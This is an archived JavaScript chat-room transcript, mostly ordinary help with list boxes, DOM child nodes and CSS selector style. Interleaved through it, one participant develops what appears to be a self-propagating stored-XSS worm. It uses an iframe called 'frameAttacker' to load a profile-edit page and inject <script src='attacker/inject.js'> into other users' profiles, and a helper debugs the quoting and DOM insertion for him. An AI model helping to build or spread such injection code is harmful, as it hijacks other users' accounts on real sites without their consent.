« first day (417 days earlier)      last day (4537 days later) » 

11:01 AM
(I'm editing the code as you said... hold on)
 
Hmm
 
ok, I've inserted directly
the js showed in fiddle
in the textarea and then saved the changes
 
Send me a link
 
Hello everyone! JS is getting more and more popular every day. So, I feel that I have to have some experience in it. Pleare recommend any sample tasks to practice JS OOP.
 
@Amaan of fiddle? -> jsfiddle.net/kkS3v/5
 
11:04 AM
Yeah. This is what I meant: jsfiddle.net/kkS3v/6
 
ah ok
just 1 sec
 
Also, you don't need to put the script tags
@BeNdErR That is unreadble
 
ok thanks
 
@Amaan something like jsfiddle.net/kkS3v/7
?
 
11:09 AM
Yes
There. Fixed it
See you had a trailing '
var injection = 'var innerFrame= innerTextArea[0].value='+src+';
The +'; was confusing the browser
 
ok
 
Since that string never ended.
 
let me try on the other code
 
Sure
 
uh, wait, in the "real" code after +src I have more js code to save into injection
how do I manage that?
var injection = 'blablabla'+src+'moreblablabla'
like this
 
11:13 AM
TextArea[0].value=\\\''+src+'\\\';for
Just picked out a snippet from the code you have
The \\\' does what, again?
 
how do i know that the svg is valid?
 
print a ' in the textarea
' alone is not accepted
\' prints ' in the textarea
 
Obviously
 
so by js i need to escape both \ and '
 
But why three backslashes?
Works fine
 
11:16 AM
hi guyssss...sorry for disturbing anyone...came here for the first time to get some help..in my javascript
 
\' will do. You don't need three
Like everyone else who isn't regular here
 
you're right
 
Throw your problems at us procrastinators :P
 
let me fix that
 
sure, I let you
:)
 
11:17 AM
@Kirzilla thanks :D
 
@user1010773 No one will help you unless you just tell us what it is anyway
 
hi all,
how do i know that the svg is valid?
thanks
 
server side or client side?
 
I have loaded couple of lists dynamically and they are dependent, after selecting value from first list, values would be populated in second(used ajax call for that), now i would like to have a button, by clicking that another row of same type of list boxes should be displayed
 
@astrocybernaute client side or server side?
 
11:19 AM
@user1010773 Use more sentences and punctuation and repeat
What does 'same type of list boxes should be displayed' mean?
 
updated with the script I need
 
Okay, hold on
Brb
 
mmmm it seems to work on fiddle...
 
hello
 
hi ;)
 
11:24 AM
@Raynos ive rtfm
 
@BeNdErR Yes, it does.
@ThomasBlobaum Which manual?
 
@Kirzilla i just want to know if its valid because when using it on my code server side ts not working so i want to eliminate the possibility that the error come frm the svg itself not from my code,ty
 
@amaan, there are two list boxes(dependent ones - upon selecting a value in the first list, the values in the second list would be populated - used ajax call for this functionality)
Now I need to place a button next to the list boxes, when i click that button, i would like to have another set of list boxes(like the existing ones)
so its like onclick event of the button should produce set of list boxes, below the first set of lists.
 
his PD github page
 
@Amaan but in my example doesn't :\ i think because of that \' we were talking before
let me try to explain
\' in textarea produces ', and it's fine
 
11:26 AM
sad someone unwatched my project
 
but if I import a js that prints \' in the textarea, this textarea will see only a '
and she will not like it, assuming a textarea is a woman
so I thought of \\\'
 
@BeNdErR Hmm
 
brb
 
Lmao
She won't like it indeed
 
ahuahuahuahua
 
11:28 AM
@ThomasBlobaum Mine is sadder. No one watches my projects anyway!
@BeNdErR Figured it out?
 
@Amaan nope
 
2
A: Can I use jQuery with node.js?

Thomas BlobaumYes you can, using a library I created called nodeQuery https://github.com/tblobaum/nodeQuery var Express = require('express') , dnode = require('dnode') , nQuery = require('nodeQuery') , express = Express.createServer(); var app = function ($) { $.on('ready', function () { ...

upvote that and downvote all the other comments
:D
 
there are two list boxes(dependent ones - upon selecting a value in the first list, the values in the second list would be populated - used ajax call for this functionality)
Now I need to place a button next to the list boxes, when i click that button, i would like to have another set of list boxes(like the existing ones)
so its like onclick event of the button should produce set of list boxes, below the first set of lists.
 
What have you tried?
 
@Amaan talkin with me? (egocentric)
 
11:32 AM
No, @user1010773
XD. I just noticed that I used this in a demo that I submitted to a competition:
<span id='scoreStuff'>0</score>
I must have been sleepy
 
@Amaan back to the last fiddle (for a better explaination): ALL the js source pasted there, is inside inject.js
so it calls itself recursively when needed
 
What?
 
about this ->http://jsfiddle.net/pubjw/2/
assume all the js inside left bottom box is saved as inject.js
the same file the code calls inside var injection
 
Okay
 
I made ​​it clear?
 
11:37 AM
So it isn't going to call your inject.js file. It's just displaying the code in a textarea, not executing it
 
but i'm hapy tiwh that
i just want to display in the textarea, and then SAVE the content of the textarea
 
2 mins ago, by BeNdErR
so it calls itself recursively when needed
No, it doesn't
 
uhm
if I display the code in the textarea (and it's fine), after I save what the textarea contents, and after I display what's the content for example in another page
the code will be launched
 
Yeah
 
that's my goal!
:D
 
11:40 AM
If you're doing something like document.write(textarea.value)
 
mm
 
Or similar, of course
 
I'm saving the textarea.value via sql in a db
then i echo it with php
 
Will work
 
@amaan, is it possible to include two functions in a <javascript> tag?
 
11:41 AM
ok now I know it's not that the problem
 
I am not able to execute when I include two functions in a <javascript> tag
 
@user1010773 Yeah. And it's a script tag, not a javascript tag
SCRIPT TAG!
 
ok i will try...and will get back to you....soon
with further questions
 
Hmm
 
but there's still something wrong
 
11:43 AM
What?
 
if I use \' instead of \\\'
the textarea refuses the new input
 
The new input is what?
 
same as before, the var inject = 'code'
ah sry
\''+src+'\'
you meant this?
 
I'll need to see the source again
 
11:50 AM
@BeNdErR Are you wondering why it isn't working on JSFiddle, or is there another problem?
 
in fiddle we're not including the file via src
so I presume we can't test it 100%
 
Yeah
Also, I'm not sure but, I don't think the frame would allow you to get the list of elements unless it's on the same domain
 
it's on the same domain
:)
the frame part works
 
Hmm
 
the only problem is with that injection string, near +src+ point I presume
is there another way to import scripts?
 
11:53 AM
@amaan...still the same problem...i have included two functions in tag...<script>
its not working
 
maybe this workaround works
 
I asked a question on SO but now I want to close it because the issue was fixed, but I don't know what fixed it. None of the close-options apply, what do I do?
 
<script>
function updateDevices(id) {
new Ajax.Updater(
"devicesField." + id,
"/wizard/submission/ajaxGetDevicesForManufacturer", {
method:'get',
parameters: {
selectedValue : $F("manufacturers." + id),
id: id
}
}
);
}

function deviceInfo() {
alert("hi, in deviceInfo function .... "
}
</script>
 
Okay, so since we've fixed this, try make injection equal to string, and work your way towards the wya it is right now
@NielsBom Delete?
 
@Amaan right :-)
Thanks!
 
11:54 AM
Sure
 
@amaan, where can i place my code, so that you can have a look at it..
 
@user1010773 Y U NO INDENT?
You never close your alert
 
sorry typo...
 
it was indented...but here its not showing up...
brb
 
11:57 AM
@user1010773 Select all of your code and hit Ctrl+K
 
@Amaan you mean start
from the string we found working in fiddle
 
Yeah
 
and then build everything else around it?
 
Just get it working
Then start editing your string and making it the way it was
 
heh, like it's easy!
;D
btw, now I've to go afk for a while... I'll give it a try, and if you'll still be here I'll update on how it goes. Sorry for my bad english and thanks for your precious help
 
11:59 AM
Sure, it's cool.
Your English is pretty good
GitHub updates slow
(The follower counts and all that show up in the search)
 
@Amaan thanks, and your skills to understand what I mean are good too, you deserve a reward! gtg now, bye and thanks again
 
Haha, thanks. Bye
These guys didn't sanitize their search field at all!
Well, they did for the title, but like idiots, didn't for the part where they display the search term
 
Hi everyone how can I improve the responsiveness of my mobile keypad using setTimeout? jsfiddle.net/JNCCW/21
It seems to working all right in some parts but feels a bit chunky - I'm trying to base an upgrade around the current iteration of the code
I've put up a working example at jsfiddle.net/JNCCW/21
 
Feels responsive enough to me
And thank you for not using a library
 
:-)
 
12:11 PM
However, you may want to remove the inline event handlers
Add them to the tr and get the source element's id.
(Not inline!)
Add an event handler using JavaScript to the tr
 
Thanks I was just worried when I press 3 down continuously it seems to be acting erratically
Can you show me an example please
 
Hold on
 
Cheers
 
Thank you so much!!!
I really appreciate your help!
 
12:16 PM
@amaan, where shall i place my code, to have a look at it...
 
Hope you have a great day - got to go have to go have some lunch now :-)
 
@user1010773 JSFiddle, PasteHTML, JSBin, PasteBin. Pick any
@methuselah Sure. Bye!
 
@amaan, pls have a look at jsfiddle.net/z36JF/1
hope you remember my requirement...
 
Woah. That's a lot
 
sorry :-) i have just pasted the complete thing...to not to confuse you more
 
12:23 PM
@user Where have you declared Ajax.Updater?
 
in my controller
let me show you that
could you pls hold on for couple of min...as I am just rerunning it...my server takes quite a long...
 
Yeah
What's your problem with this code, though?
Okay, I've got to go. Be back in ~1 hour
 
hi amaan...
I would like your inputs...to display lists on clicking a button
sure...please proceed, i would catch u after you are back
 
12:50 PM
Hi there
Looking for help on a question... Any comment appreciated :)
2
Q: Hiding Javascript When Building a Widget

MuratI am building a web widget which will be very easy to integrate. Say http://www.bicycleseller.com/ wants to integrate my widget on his web page. All he has to do is copy and paste the following to the head section of his page: <script src="http://www.widgetprovider.com/widget.js" type="text/j...

 
Hi, I am trying to get content from a json file with jquery, everything is working; though is there a way to use an if statement: li: if(item.id == '1'){} this though is not working - thanks
 
1:22 PM
lists.cs.uiuc.edu/pipermail/llvmdev/2011-October/043719.html — why LLVM IR isn't portable, and why it isn't suitable even for something like PNaCl.
 
Hi all ! Does anybody know anything about shadowbox coding pls ?
 
is there an easier way to skip the whitespace textnodes when selecting childNodes - it's pissing me off.
 
@rlemon No.
 
.children but that's in newer browsers only I believe
 
1:38 PM
.children shouldn't skip whitespace textnodes, it should just give Element children
 
@gsnedders seems to work for my purposes.
i'll just have to check it's compatibility
 
Fx4, WebKit forever, IE forever, Op forever
 
i have a select list and i'm working with it's options ... select.childNodes returns a textNode between each option.
 
you could use select.options then
 
@rlemon Is there not something like .options?
 
1:40 PM
.options returns an empty array :S
lol.
 
@gsnedders, IE6-8 .children returns comment nodes? :P
 
i thought there was something like that from the getgo - but.. eh
 
@Esailija Oh nice.
 
Wonder what they were thinking with that...
@rlemon, that's strange.. can you reproduce on jsfiddle
 
ugh - nvm. i think it's just chromes console - console.log(select.options) // [] but console.log(select.options[select.selectedIndex]) returns the correct option.
wonder why select.options appears empty.
 
1:48 PM
select.options.length gives 2 though
and [].slice.call(select.options) outputs as well
very strange :O
 
either way - i'm trying to offer a system for filtering table data - there are three fields, text search, tag filter, and category filter. I have the backend written now I just need to tie a ui to it.
i wanted to have dropdowns with little '+' buttons to add the selected value to the filter list
 
well it seems to work fine other than not outputting console
 
but i'm starting to give up on the idea (not even 9am where I am.. to tired to think) - might just list the options and checkboxes.
@Esailija lol I wasn't outputting anything before - i just console.log(select.options) noticed it was empty to tried alternatives.
wasn't until i tried it again with a index that i realized it wasn't actually empty.
 
anyways nice to know .children is so supported... in a controlled environment where I can ensure no comment nodes it's golden =D
 
pfft, who comments js anyways
 
1:53 PM
you mean html :P
 
var f = b - jkr(x + kl(v--), Wj, wJ, wj) / 4;
 
yeah <!-- footer --> <div id="footer">.. seems stupid
 
no i meant js. i got off topic.
but agreed. <!-- comments are useless.
 
yeah but those are "nodes" that IE6-8 apparently picks up with .children :p
 
project is internal only - so I was able to get away with "Ummm, ok guys - we're supporting IE9+ ONLY. If you have a problem with that I'll be by your desk later to upgrade you"
most use chrome or ff though.
 
1:56 PM
always nice to put ie < 9 off the table
 
s/< 9/
eFf IE
it's slow - doesn't work half the time - popup blocker sucks - numerous security risks (even in IE9) - and still only supports maybe 80% of the standards in place by other vendors. (none are 100%, but IE9 is still only comparable to <FF4)
 
and it requires windows 7 >.>
and chrome runs fine even on xp?
 
@rlemon Note that almost everything there is already in IE10.
 
any ideas on populating lists in the onclick of a button?
 
2:04 PM
@gsnedders but the majority of IE users are still on 8
 
@user1010773: have it run a jquery statement that appends <li>*stuff goes here*</li> in a function
 
@user1010773 don't use jQuery just for that - that would be stupid.
lets go buy a schoolbus to take home the groceries
2
 
Unless you're going to fill it with groceries, don't use a schoolbus.
 
I sometimes include jQuery for jQuery.noop
ok I lied : (
 
@RyanKinal I got one of dem little baskets on wheels... I don't even care if it makes me look like an old lady.
 
2:08 PM
lol
Sometimes, I wish I could tell who downvoted my questions so I could hunt them down and beat some sense into them.
 
@rlemon...any ideas to implement that in javascript?
 
punch separate punch your punch concerns
 
its correct that i dont want to use jquery only for this
 
@RyanKinal, link to a question :)
@user1010773, what do you mean by populating a list? with what data?
 
when i code, sometimes i feel like i take home the groceries in a cargo plane rather than a school bus
 
2:12 PM
2
A: Class vs. ID - Readability

Ryan KinalIDs should not be used for styling. Use classes instead. IDs have a very high precedence, and are difficult to override (leading to more IDs, and longer selector chains). Also, IDs are used for JavaScript DOM selection, so if you're using the same IDs in your CSS that you're using in your JavaScr...

 
jQuery(this).attr("id") <-- taking groceries home with an aircraft carrier
 
@user1010773 sure.
thats my lazy example.
it doesn't 'replace' the list values - appends them.
to replace them you will want to remove all child nodes of the ul then append them.
 
posted on December 07, 2011 by Thomas Fuchs

Browsers have lots of bugs—among them a tendency to introduce issues where elements just completely vanish (most of the time, that’s a result of over-eager drawing optimization code). Here’s how you can deal with this issue in some browsers. On Internet Explorer, you may have met the zoom CSS property before: zoom: 1; Basically, this [...]

 
@RyanKinal Nonsense
 
Oh?
 
2:25 PM
Really, nonsense. "IDs are used for JavaScript DOM selection" I can use getElementByClassName or querySelectorAll, makes no difference
"you've tied the styles to the scripts" I'm not sure why you would advocate for that level of code reuse
Unless you were writing boilerplate code or CSS frameworks
 
@user1010773, use the actual HTML output not the unprocessed server side code
 
Extensibility. Maintainability. You can easily switch styles without affecting your scripts.
 
@Esailija, my objective is....already there are two list boxes(which are dynamically loaded and the second one depends on the first list), i need to have a button, upon button onclick, i would like to display another set of list boxes below the first pair
 
I have been bitten in the ass many times before by using ids in css :P
I just never questioned it before
 
2:31 PM
And, really, that's not the only reason. There are also fragment identifiers (URL hash). Why should styles be tied to navigation?
 
@Amaan sorry to disturb you again, but nothing changed :\ the problem is the nested <script></script> tag inside the outer <script></script> I think..
 
Changing the name of a section for better clarity in linking and bookmarking should not affect the styles.
 
@BeNdErR Code
 
@RyanKinal You're doing skinnable widgets? Because again, I'm not sure why you'd want that level of code reuse
If you are doing widgets, then fine, by all means, but that's no reason to abandon it altogether
 
@rlemon...please have a look at my sample code...may be you will have some idea..
 
2:32 PM
 
Why wouldn't you want that level of code reuse? I mean, if you have something that's styled by ID, and all of a sudden you want a second one, then you're going to switch to classes anyway.
 
String.fromCharCode(..) only prints <script src="attacker/inject.js"></script>
 
@RyanKinal, exactly. You'd think that never happens but it does happen =)
 
@Benderr Give me a link to all of your code. Put it on PasteHTML.com if you want
 
ok thanks
just 1 sec
 
2:35 PM
Or give me a link to wherever your code is hosted
 
localhost :\
 
@user1010773 i'm sorry i'm not looking through that mess to find the 3-4 lines of applicable code.
 
@BeNdErR Oh, okay
 
:-) i understand...
may be i will check with amaan...who had a look at my issue before
 
@Amaan localhost <- all the code here looks fine to me :P
 
2:36 PM
@amaan....
 
Hahaha
@user1010773 Nope, sorry
I think the only way you're getting help with that much of a mess would be if you offered some huge bounty
 
haha....i simply showed the mess....as some bits of it might help...
i am ready to scrap that mess , if i get a better solution
 
@user1010773 I don't mind helping - but I need to see some effort - I have showed you how to dynamically populate a list, if you can't implement that into your code then why have you been tasked with this.
 
@Amaan do i have to "publish" code to let you see it? Oo
 
Yeah
 
2:38 PM
@rlemon..i am implementing that...my server restart takes sometime...
 
kk
 
will update you the result
 
@BeNdErR Oh, you do know that document.write tends to erase everything on the page, right?
 
it's not a cookie cutter script - it's an example - you will have to do quite a bit of work to obtain the functionality you described. My example populates a ul, your example you want to generate a number of ul's and populate them.
 
oh really?
crap
 
2:39 PM
Unless you've added the textareas dynamically, they'll be erased
Ooops. Sorry for not having told you earlier
 
mmm what can I use instead?
no problem
probably is not the main problem :D
 
Okay, is this your own personal project, or do you have limitations?
 
mine
^^
 
document.getElementsByTagName("body")[0].appendChild(document.createTextNode("L‌​OOK MA! A MESSAGE!"));
 
Your own, use:
var frame = document.createElement('iframe');
frame.id = 'frameAttacker';
//blah blah
 
2:41 PM
ok I try it now thanks
 
@rlemon...sure
 
is document.forms still valid? like it works and all, but is it kosher?
 
0
A: Oneboxing on links -- let us make plugins?

IncognitoStackExchange chat Onebox plugin module JSON manifest of XPATH data Provide a URL Provide a token ID/XPATH pair Provide HTML template Example: Setting up the plugin Note: URL fragment "Section_5.1.3" implies XPATH selections starts at that ID (this could resolve the section-spe...

 
@ThomasBlobuam what fm?
 
@Amaan

var newFrame = document.createElement('iframe');
newFrame.id='frameAttacker';

newFrame.src='editProfile.php';
alert(newFrame.id);
var div = newFrame.contentWindow.document.getElementById('userProfile');
var textArea = div.getElementsByTagName('textarea');
var submit = div.getElementsByTagName('input');

it says: newFrame.contentWindow is null. what I'm missing?
 
2:50 PM
document.body.appendChild(newFrame);
You created the element but never added it to the DOM
 
@Amaan now seems to work a little better, the script is copied even trough different users
let me check if everything works fine :D
 
hey anyone knows why a colorbox is not working on firefix 3.3?
its weird...a
 
Hmm
@sebas Yes, I know
 
@Amaan shoot
 
...
ಠ ಠ
 
2:55 PM
@Amaan why is it not working?
 
How would anyone know without having seen any of the code?
 
travel-ace.com/argentina/formularios/institucional/form_ta.html could u please click the right button? where it says cotizacion online
on firefox 3.3 it doest work for any odd reason
 
Where in English? Auto-translate
 
@Amaan unterminated string literal
[Interrompi per questo errore] var innerFrame=document.getElementById...lue="<script src='attacker/inject.js'> I'm starting to hate textareas
by the way it's a problem of nested <script> tags at 99%
 
@BeNdErR How do you know? Does it work if you remove the script tags?
 
2:59 PM
if i use:
<script>
newFrame...
...
var injection = "<script src="path"></script>
...
</script>

I get the error
but if I
change < and > with &lt; &gt; to the outer script tag
 
@BeNdErR Escape the "!
 
inside the textarea I can see correctly the code injected
 

« first day (417 days earlier)      last day (4537 days later) »